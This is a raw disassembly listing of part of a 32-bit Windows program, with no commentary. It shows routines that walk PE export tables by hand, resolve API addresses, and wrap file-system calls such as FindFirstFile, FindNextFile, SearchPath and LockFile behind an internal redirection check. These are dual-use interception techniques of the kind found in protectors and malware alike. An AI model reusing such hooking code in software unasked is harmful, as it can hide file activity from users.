mov eax, [ebp+arg_4]
mov ecx, [ebp+arg_0]
add ecx, [eax+24h]
mov eax, [ebp+var_10]
mov ax, [ecx+eax*2]
mov [ebp+var_18], ax
mov eax, [ebp+arg_4]
mov ecx, [ebp+arg_0]
add ecx, [eax+1Ch]
movzx eax, [ebp+var_18]
mov eax, [ecx+eax*4]
add eax, [ebp+arg_0]
mov [ebp+var_14], eax
mov eax, [ebp+var_14]
jmp short locret_509D77
; ---------------------------------------------------------------------------
loc_509D5A: ; CODE XREF: sub_509C8E+9Bj
cmp [ebp+var_C], 0
jle short loc_509D69
mov eax, [ebp+var_10]
inc eax
mov [ebp+var_8], eax
jmp short loc_509D70
; ---------------------------------------------------------------------------
loc_509D69: ; CODE XREF: sub_509C8E+D0j
mov eax, [ebp+var_10]
dec eax
mov [ebp+var_4], eax
loc_509D70: ; CODE XREF: sub_509C8E+D9j
jmp loc_509CA2
; ---------------------------------------------------------------------------
loc_509D75: ; CODE XREF: sub_509C8E+1Aj
xor eax, eax
locret_509D77: ; CODE XREF: sub_509C8E+CAj
leave
retn
sub_509C8E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_509D79 proc near ; CODE XREF: sub_507494+97p
; sub_507494+C5p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
push [ebp+arg_4]
call ds:dword_511718 ; GetModuleHandleA
mov [ebp+var_14], eax
cmp [ebp+var_14], 0
jnz short loc_509D9D
push [ebp+arg_4]
call ds:dword_51175C ; LoadLibraryA
mov [ebp+var_14], eax
loc_509D9D: ; CODE XREF: sub_509D79+16j
mov eax, [ebp+var_14]
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
mov ecx, [ebp+var_C]
add ecx, [eax+3Ch]
mov [ebp+var_10], ecx
mov eax, [ebp+var_10]
mov ecx, [ebp+var_C]
add ecx, [eax+78h]
mov [ebp+var_4], ecx
push [ebp+arg_0]
push [ebp+var_4]
push [ebp+var_C]
call sub_509C8E
add esp, 0Ch
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
leave
retn
sub_509D79 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_509DD4 proc near ; CODE XREF: sub_504DC0+12p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 2Ch
push offset dword_5160B8
call ds:dword_51174C ; InitializeCriticalSection
push offset dword_516098
call ds:dword_51174C ; InitializeCriticalSection
push 28h
call sub_50835A
pop ecx
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_509E13
push 83h
mov ecx, [ebp+var_8]
call sub_50B77C
mov [ebp+var_1C], eax
jmp short loc_509E17
; ---------------------------------------------------------------------------
loc_509E13: ; CODE XREF: sub_509DD4+2Bj
and [ebp+var_1C], 0
loc_509E17: ; CODE XREF: sub_509DD4+3Dj
mov eax, [ebp+var_1C]
mov ds:dword_5160D4, eax
push 28h
call sub_50835A
pop ecx
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jz short loc_509E3F
push 9
mov ecx, [ebp+var_C]
call sub_50B77C
mov [ebp+var_20], eax
jmp short loc_509E43
; ---------------------------------------------------------------------------
loc_509E3F: ; CODE XREF: sub_509DD4+5Aj
and [ebp+var_20], 0
loc_509E43: ; CODE XREF: sub_509DD4+69j
mov eax, [ebp+var_20]
mov ds:dword_5160D8, eax
push 28h
call sub_50835A
pop ecx
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jz short loc_509E6B
push 9
mov ecx, [ebp+var_10]
call sub_50B77C
mov [ebp+var_24], eax
jmp short loc_509E6F
; ---------------------------------------------------------------------------
loc_509E6B: ; CODE XREF: sub_509DD4+86j
and [ebp+var_24], 0
loc_509E6F: ; CODE XREF: sub_509DD4+95j
mov eax, [ebp+var_24]
mov ds:dword_51194C, eax
push 28h
call sub_50835A
pop ecx
mov [ebp+var_14], eax
cmp [ebp+var_14], 0
jz short loc_509E97
push 9
mov ecx, [ebp+var_14]
call sub_50B77C
mov [ebp+var_28], eax
jmp short loc_509E9B
; ---------------------------------------------------------------------------
loc_509E97: ; CODE XREF: sub_509DD4+B2j
and [ebp+var_28], 0
loc_509E9B: ; CODE XREF: sub_509DD4+C1j
mov eax, [ebp+var_28]
mov ds:dword_511954, eax
push 28h
call sub_50835A
pop ecx
mov [ebp+var_18], eax
cmp [ebp+var_18], 0
jz short loc_509EC3
push 9
mov ecx, [ebp+var_18]
call sub_50B77C
mov [ebp+var_2C], eax
jmp short loc_509EC7
; ---------------------------------------------------------------------------
loc_509EC3: ; CODE XREF: sub_509DD4+DEj
and [ebp+var_2C], 0
loc_509EC7: ; CODE XREF: sub_509DD4+EDj
mov eax, [ebp+var_2C]
mov ds:dword_511950, eax
push offset dword_50E5B4
push 2Fh
push offset off_511250
call sub_509F43
add esp, 0Ch
push offset dword_50E5C4
push 2
push offset off_5113C8
call sub_509F43
add esp, 0Ch
push offset dword_50E5D0
push 1
push offset off_5113D8
call sub_509F43
add esp, 0Ch
push offset dword_50E5DC
push 3
push offset off_5113E0
call sub_509F43
add esp, 0Ch
push offset dword_50E5F8
push 2
push offset off_5113F8
call sub_509F43
add esp, 0Ch
push offset dword_50E5B4
call ds:dword_511718 ; GetModuleHandleA
mov [ebp+var_4], eax
leave
retn
sub_509DD4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_509F43 proc near ; CODE XREF: sub_509DD4+107p
; sub_509DD4+11Bp ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
and [ebp+var_4], 0
push [ebp+arg_8]
call ds:dword_511718 ; GetModuleHandleA
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jnz short loc_509F6B
push [ebp+arg_8]
call ds:dword_51175C ; LoadLibraryA
mov [ebp+var_10], eax
loc_509F6B: ; CODE XREF: sub_509F43+1Aj
cmp [ebp+var_10], 0
jnz short loc_509F87
push ds:off_50E4F8
push 0DDh
push ds:off_50E4FC
call sub_50848C
loc_509F87: ; CODE XREF: sub_509F43+2Cj
push 1
push [ebp+var_10]
mov ecx, ds:dword_5160D8
call sub_50B98E
mov eax, [ebp+var_10]
and eax, 0FFFh
test eax, eax
jz short loc_509FBF
mov eax, [ebp+var_10]
and ax, 0F000h
mov [ebp+var_8], eax
push 1
push [ebp+var_8]
mov ecx, ds:dword_5160D8
call sub_50B98E
jmp short loc_509FC5
; ---------------------------------------------------------------------------
loc_509FBF: ; CODE XREF: sub_509F43+5Ej
mov eax, [ebp+var_10]
mov [ebp+var_8], eax
loc_509FC5: ; CODE XREF: sub_509F43+7Aj
mov eax, [ebp+var_8]
mov ecx, [ebp+var_8]
add ecx, [eax+3Ch]
mov [ebp+var_C], ecx
mov eax, [ebp+var_C]
cmp dword ptr [eax], 4550h
jnz short loc_509FE8
mov eax, [ebp+var_C]
mov ecx, [ebp+var_8]
add ecx, [eax+78h]
mov [ebp+var_4], ecx
loc_509FE8: ; CODE XREF: sub_509F43+97j
and [ebp+var_14], 0
jmp short loc_509FF5
; ---------------------------------------------------------------------------
loc_509FEE: ; CODE XREF: sub_509F43:loc_50A082j
mov eax, [ebp+var_14]
inc eax
mov [ebp+var_14], eax
loc_509FF5: ; CODE XREF: sub_509F43+A9j
mov eax, [ebp+var_14]
cmp eax, [ebp+arg_4]
jnb loc_50A087
mov eax, [ebp+var_14]
mov ecx, [ebp+arg_0]
push dword ptr [ecx+eax*8+4]
push [ebp+var_10]
call ds:dword_511728 ; GetProcAddress
mov [ebp+var_18], eax
cmp [ebp+var_18], 0
jz short loc_50A035
mov eax, [ebp+var_14]
mov ecx, [ebp+arg_0]
lea eax, [ecx+eax*8]
push eax
push [ebp+var_18]
mov ecx, ds:dword_5160D4
call sub_50B98E
loc_50A035: ; CODE XREF: sub_509F43+D8j
cmp [ebp+var_4], 0
jz short loc_50A082
mov eax, [ebp+var_14]
mov ecx, [ebp+arg_0]
push dword ptr [ecx+eax*8+4]
push [ebp+var_4]
push [ebp+var_8]
call sub_509C8E
add esp, 0Ch
mov [ebp+var_1C], eax
mov eax, [ebp+var_18]
cmp eax, [ebp+var_1C]
jz short loc_50A082
cmp [ebp+var_1C], 0
jz short loc_50A082
cmp [ebp+var_18], 0
jz short loc_50A082
mov eax, [ebp+var_14]
mov ecx, [ebp+arg_0]
lea eax, [ecx+eax*8]
push eax
push [ebp+var_1C]
mov ecx, ds:dword_5160D4
call sub_50B98E
loc_50A082: ; CODE XREF: sub_509F43+F6j
; sub_509F43+119j ...
jmp loc_509FEE
; ---------------------------------------------------------------------------
loc_50A087: ; CODE XREF: sub_509F43+B8j
cmp [ebp+arg_8], offset dword_50E5B4
jnz short locret_50A0BA
cmp [ebp+var_4], 0
jz short locret_50A0BA
push offset aWritefile ; "WriteFile"
push [ebp+var_4]
push [ebp+var_8]
call sub_509C8E
add esp, 0Ch
mov [ebp+var_20], eax
cmp [ebp+var_20], 0
jz short locret_50A0BA
mov eax, [ebp+var_20]
mov ds:dword_5117BC, eax
locret_50A0BA: ; CODE XREF: sub_509F43+14Bj
; sub_509F43+151j ...
leave
retn
sub_509F43 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50A0BC proc near ; CODE XREF: _5:004FD715p
push ebp
mov ebp, esp
push 0
call sub_50A0C8
pop ebp
retn
sub_50A0BC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50A0C8 proc near ; CODE XREF: sub_401300+DFp
; sub_401404+7Ap ...
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50EA00
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
push offset dword_5160B8
call ds:dword_5116C4 ; RtlEnterCriticalSection
mov ds:byte_5160D0, 1
push 0
call sub_509C54
and [ebp+var_4], 0
call sub_5071C3
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_50A138
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_4], 1
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_50A134
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
or [ebp+var_4], 0FFFFFFFFh
loc_50A134: ; CODE XREF: sub_50A0C8+5Fj
or [ebp+var_4], 0FFFFFFFFh
loc_50A138: ; CODE XREF: sub_50A0C8+4Bj
mov [ebp+var_4], 2
call sub_5046D0
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_50A16D
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_4], 3
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_50A169
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
or [ebp+var_4], 0FFFFFFFFh
loc_50A169: ; CODE XREF: sub_50A0C8+94j
or [ebp+var_4], 0FFFFFFFFh
loc_50A16D: ; CODE XREF: sub_50A0C8+80j
mov [ebp+var_4], 4
push [ebp+arg_0]
call ds:dword_5116C8 ; ExitProcess
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_50A1B6
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_4], 5
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_50A1A2
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
or [ebp+var_4], 0FFFFFFFFh
loc_50A1A2: ; CODE XREF: sub_50A0C8+CDj
push [ebp+arg_0]
call ds:dword_5116E4 ; GetCurrentProcess
push eax
call ds:dword_511798 ; TerminateProcess
or [ebp+var_4], 0FFFFFFFFh
loc_50A1B6: ; CODE XREF: sub_50A0C8+B9j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn 4
sub_50A0C8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50A1C7 proc near ; CODE XREF: sub_418D6A+22p
; sub_41A8ED+26p
; DATA XREF: ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push offset dword_50E5B4
push offset aSearchpatha_0 ; "SearchPathA"
call sub_509C22
pop ecx
pop ecx
mov [ebp+var_4], eax
cmp [ebp+arg_0], 0
jnz short loc_50A20D
push 0
xor edx, edx
mov ecx, [ebp+arg_4]
call sub_5019D2
test eax, eax
jz short loc_50A20D
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
call ds:dword_511708 ; GetFullPathNameA
jmp short locret_50A222
; ---------------------------------------------------------------------------
loc_50A20D: ; CODE XREF: sub_50A1C7+20j
; sub_50A1C7+30j
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call [ebp+var_4]
locret_50A222: ; CODE XREF: sub_50A1C7+44j
leave
retn 18h
sub_50A1C7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50A226 proc near ; DATA XREF: _7:00511360o
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50EA48
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
sub esp, 18h
push ebx
push esi
push edi
and [ebp+var_20], 0
and [ebp+var_1C], 0
and [ebp+var_4], 0
cmp [ebp+arg_0], 0
jnz short loc_50A296
push 104h
call sub_50835A
pop ecx
mov [ebp+var_24], eax
mov eax, [ebp+var_24]
mov [ebp+var_20], eax
push 41h
pop ecx
xor eax, eax
mov edi, [ebp+var_20]
rep stosd
push 0
push 0
push 104h
push [ebp+var_20]
push 0FFFFFFFFh
push [ebp+arg_4]
push 0
push 0
call ds:dword_5117B8 ; WideCharToMultiByte
loc_50A296: ; CODE XREF: sub_50A226+35j
cmp [ebp+arg_0], 0
jnz short loc_50A2D3
push 0
xor edx, edx
mov ecx, [ebp+var_20]
call sub_5019D2
test eax, eax
jz short loc_50A2D3
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
call ds:dword_51170C ; GetFullPathNameW
push 0FFFFFFFFh
mov [ebp+var_2C], eax
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_2C]
jmp short loc_50A323
; ---------------------------------------------------------------------------
loc_50A2D3: ; CODE XREF: sub_50A226+74j
; sub_50A226+84j
push offset dword_50E5B4
push offset aSearchpathw ; "SearchPathW"
call sub_509C22
pop ecx
pop ecx
mov [ebp+var_1C], eax
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call [ebp+var_1C]
push 0FFFFFFFFh
mov [ebp+var_30], eax
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_30]
jmp short loc_50A323
; ---------------------------------------------------------------------------
loc_50A311: ; DATA XREF: _6:0050EA50o
mov eax, [ebp+var_20]
mov [ebp+var_28], eax
push [ebp+var_28]
call sub_5083DD
pop ecx
retn
; ---------------------------------------------------------------------------
xor eax, eax
loc_50A323: ; CODE XREF: sub_50A226+ABj
; sub_50A226+E9j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn 18h
sub_50A226 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50A334 proc near ; CODE XREF: sub_410287+1FBp
; sub_41771E+3Dp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
lea eax, [ebp+var_4]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4FF63E
test eax, eax
jnz short loc_50A35A
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_5116D0 ; FindFirstFileA
mov [ebp+var_4], eax
loc_50A35A: ; CODE XREF: sub_50A334+15j
mov eax, [ebp+var_4]
leave
retn 8
sub_50A334 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50A361 proc near ; DATA XREF: _7:00511300o
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_160 = byte ptr -160h
var_134 = byte ptr -134h
var_30 = byte ptr -30h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
; FUNCTION CHUNK AT 0050A496 SIZE 00000014 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50EA58
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
sub esp, 154h
push ebx
push esi
push edi
and [ebp+var_20], 0
and [ebp+var_4], 0
push 104h
call sub_50835A
pop ecx
mov [ebp+var_168], eax
mov eax, [ebp+var_168]
mov [ebp+var_20], eax
push 41h
pop ecx
xor eax, eax
mov edi, [ebp+var_20]
rep stosd
push 0
push 0
push 104h
push [ebp+var_20]
push 0FFFFFFFFh
push [ebp+arg_0]
push 0
push 0
call ds:dword_5117B8 ; WideCharToMultiByte
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_160]
push eax
push [ebp+var_20]
call sub_4FF63E
test eax, eax
jnz short loc_50A416
and [ebp+var_164], 0
push offset dword_50E5B4
push offset aFindfirstfilew ; "FindFirstFileW"
call sub_509C22
pop ecx
pop ecx
mov [ebp+var_164], eax
push [ebp+arg_4]
push [ebp+arg_0]
call [ebp+var_164]
mov [ebp+var_1C], eax
jmp short loc_50A475
; ---------------------------------------------------------------------------
loc_50A416: ; CODE XREF: sub_50A361+84j
lea ecx, [ebp+var_134]
lea eax, [ebp+var_160]
sub ecx, eax
lea esi, [ebp+var_160]
mov edi, [ebp+arg_4]
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
push 104h
mov eax, [ebp+arg_4]
add eax, 2Ch
push eax
push 0FFFFFFFFh
lea eax, [ebp+var_134]
push eax
push 0
push 0
call ds:dword_511770 ; MultiByteToWideChar
push 0Eh
mov eax, [ebp+arg_4]
add eax, 234h
push eax
push 0Eh
lea eax, [ebp+var_30]
push eax
push 0
push 0
call ds:dword_511770 ; MultiByteToWideChar
loc_50A475: ; CODE XREF: sub_50A361+B3j
or [ebp+var_4], 0FFFFFFFFh
call sub_50A480
jmp short loc_50A496
sub_50A361 endp
; =============== S U B R O U T I N E =======================================
sub_50A480 proc near ; CODE XREF: sub_50A361+118p
; DATA XREF: _6:0050EA60o
mov eax, [ebp-20h]
mov [ebp-16Ch], eax
push dword ptr [ebp-16Ch]
call sub_5083DD
pop ecx
retn
sub_50A480 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_50A361
loc_50A496: ; CODE XREF: sub_50A361+11Dj
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn 8
; END OF FUNCTION CHUNK FOR sub_50A361
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50A4AA proc near ; DATA XREF: _7:00511308o
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_160 = byte ptr -160h
var_134 = byte ptr -134h
var_30 = byte ptr -30h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
; FUNCTION CHUNK AT 0050A5EB SIZE 00000014 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50EA68
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
sub esp, 154h
push ebx
push esi
push edi
and [ebp+var_20], 0
and [ebp+var_4], 0
push 104h
call sub_50835A
pop ecx
mov [ebp+var_168], eax
mov eax, [ebp+var_168]
mov [ebp+var_20], eax
push 41h
pop ecx
xor eax, eax
mov edi, [ebp+var_20]
rep stosd
push 0
push 0
push 104h
push [ebp+var_20]
push 0FFFFFFFFh
push [ebp+arg_0]
push 0
push 0
call ds:dword_5117B8 ; WideCharToMultiByte
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_160]
push eax
push [ebp+var_20]
call sub_4FF63E
test eax, eax
jnz short loc_50A56B
and [ebp+var_164], 0
push offset dword_50E5B4
push offset aFindfirstfilee ; "FindFirstFileExW"
call sub_509C22
pop ecx
pop ecx
mov [ebp+var_164], eax
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call [ebp+var_164]
mov [ebp+var_1C], eax
jmp short loc_50A5CA
; ---------------------------------------------------------------------------
loc_50A56B: ; CODE XREF: sub_50A4AA+84j
lea ecx, [ebp+var_134]
lea eax, [ebp+var_160]
sub ecx, eax
lea esi, [ebp+var_160]
mov edi, [ebp+arg_8]
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
push 104h
mov eax, [ebp+arg_8]
add eax, 2Ch
push eax
push 0FFFFFFFFh
lea eax, [ebp+var_134]
push eax
push 0
push 0
call ds:dword_511770 ; MultiByteToWideChar
push 0Eh
mov eax, [ebp+arg_8]
add eax, 234h
push eax
push 0Eh
lea eax, [ebp+var_30]
push eax
push 0
push 0
call ds:dword_511770 ; MultiByteToWideChar
loc_50A5CA: ; CODE XREF: sub_50A4AA+BFj
or [ebp+var_4], 0FFFFFFFFh
call sub_50A5D5
jmp short loc_50A5EB
sub_50A4AA endp
; =============== S U B R O U T I N E =======================================
sub_50A5D5 proc near ; CODE XREF: sub_50A4AA+124p
; DATA XREF: _6:0050EA70o
mov eax, [ebp-20h]
mov [ebp-16Ch], eax
push dword ptr [ebp-16Ch]
call sub_5083DD
pop ecx
retn
sub_50A5D5 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_50A4AA
loc_50A5EB: ; CODE XREF: sub_50A4AA+129j
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn 18h
; END OF FUNCTION CHUNK FOR sub_50A4AA
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50A5FF proc near ; CODE XREF: sub_410287+5EDp
; sub_41771E+C0p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
lea eax, [ebp+var_4]
push eax
push [ebp+arg_0]
call sub_4FF818
test eax, eax
jnz short loc_50A61F
push [ebp+arg_0]
call ds:dword_5116CC ; FindClose
mov [ebp+var_4], eax
loc_50A61F: ; CODE XREF: sub_50A5FF+12j
mov eax, [ebp+var_4]
leave
retn 4
sub_50A5FF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50A626 proc near ; CODE XREF: sub_410287+20Cp
; sub_410287+5DCp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
lea eax, [ebp+var_4]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4FF6DE
test eax, eax
jnz short loc_50A650
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_5116D4 ; FindNextFileA
mov [ebp+var_4], eax
loc_50A650: ; CODE XREF: sub_50A626+19j
mov eax, [ebp+var_4]
leave
retn 8
sub_50A626 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50A657 proc near ; DATA XREF: _7:00511320o
var_148 = dword ptr -148h
var_144 = byte ptr -144h
var_118 = byte ptr -118h
var_14 = byte ptr -14h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 148h
push esi
push edi
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_144]
push eax
push [ebp+arg_0]
call sub_4FF6DE
test eax, eax
jnz short loc_50A6A8
and [ebp+var_148], 0
push offset dword_50E5B4
push offset aFindnextfilew ; "FindNextFileW"
call sub_509C22
pop ecx
pop ecx
mov [ebp+var_148], eax
push [ebp+arg_4]
push [ebp+arg_0]
call [ebp+var_148]
mov [ebp+var_4], eax
jmp short loc_50A707
; ---------------------------------------------------------------------------
loc_50A6A8: ; CODE XREF: sub_50A657+20j
lea ecx, [ebp+var_118]
lea eax, [ebp+var_144]
sub ecx, eax
lea esi, [ebp+var_144]
mov edi, [ebp+arg_4]
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
push 104h
mov eax, [ebp+arg_4]
add eax, 2Ch
push eax
push 0FFFFFFFFh
lea eax, [ebp+var_118]
push eax
push 0
push 0
call ds:dword_511770 ; MultiByteToWideChar
push 0Eh
mov eax, [ebp+arg_4]
add eax, 234h
push eax
push 0Eh
lea eax, [ebp+var_14]
push eax
push 0
push 0
call ds:dword_511770 ; MultiByteToWideChar
loc_50A707: ; CODE XREF: sub_50A657+4Fj
mov eax, [ebp+var_4]
pop edi
pop esi
leave
retn 8
sub_50A657 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50A710 proc near ; DATA XREF: _7:00511390o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
lea eax, [ebp+var_4]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_500858
test eax, eax
jnz short loc_50A73A
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_5116FC ; GetFileInformationByHandle
mov [ebp+var_4], eax
loc_50A73A: ; CODE XREF: sub_50A710+19j
mov eax, [ebp+var_4]
leave
retn 8
sub_50A710 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50A741 proc near ; DATA XREF: _7:00511398o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push [ebp+arg_0]
call sub_500950
test eax, eax
jnz short loc_50A76F
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_511768 ; LockFile
mov [ebp+var_4], eax
jmp short loc_50A776
; ---------------------------------------------------------------------------
loc_50A76F: ; CODE XREF: sub_50A741+12j
mov [ebp+var_4], 1
loc_50A776: ; CODE XREF: sub_50A741+2Cj
mov eax, [ebp+var_4]
leave
retn 14h
sub_50A741 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50A77D proc near ; DATA XREF: _7:005113A0o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push [ebp+arg_0]
call sub_500950
test eax, eax
jnz short loc_50A7A8
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_51179C ; UnlockFile
jmp short locret_50A7AB
; ---------------------------------------------------------------------------
loc_50A7A8: ; CODE XREF: sub_50A77D+12j
push 1
pop eax
locret_50A7AB: ; CODE XREF: sub_50A77D+29j
leave
retn 14h
sub_50A77D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50A7AF proc near ; CODE XREF: sub_401404+19Bp
; sub_40FFD8+10Fp ...
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
lea edx, [ebp+var_4]
mov ecx, [ebp+arg_0]
call sub_501CA8
test eax, eax
jnz short loc_50A7CD
push [ebp+arg_0]
call ds:dword_5116F4 ; GetFileAttributesA
jmp short locret_50A7D9
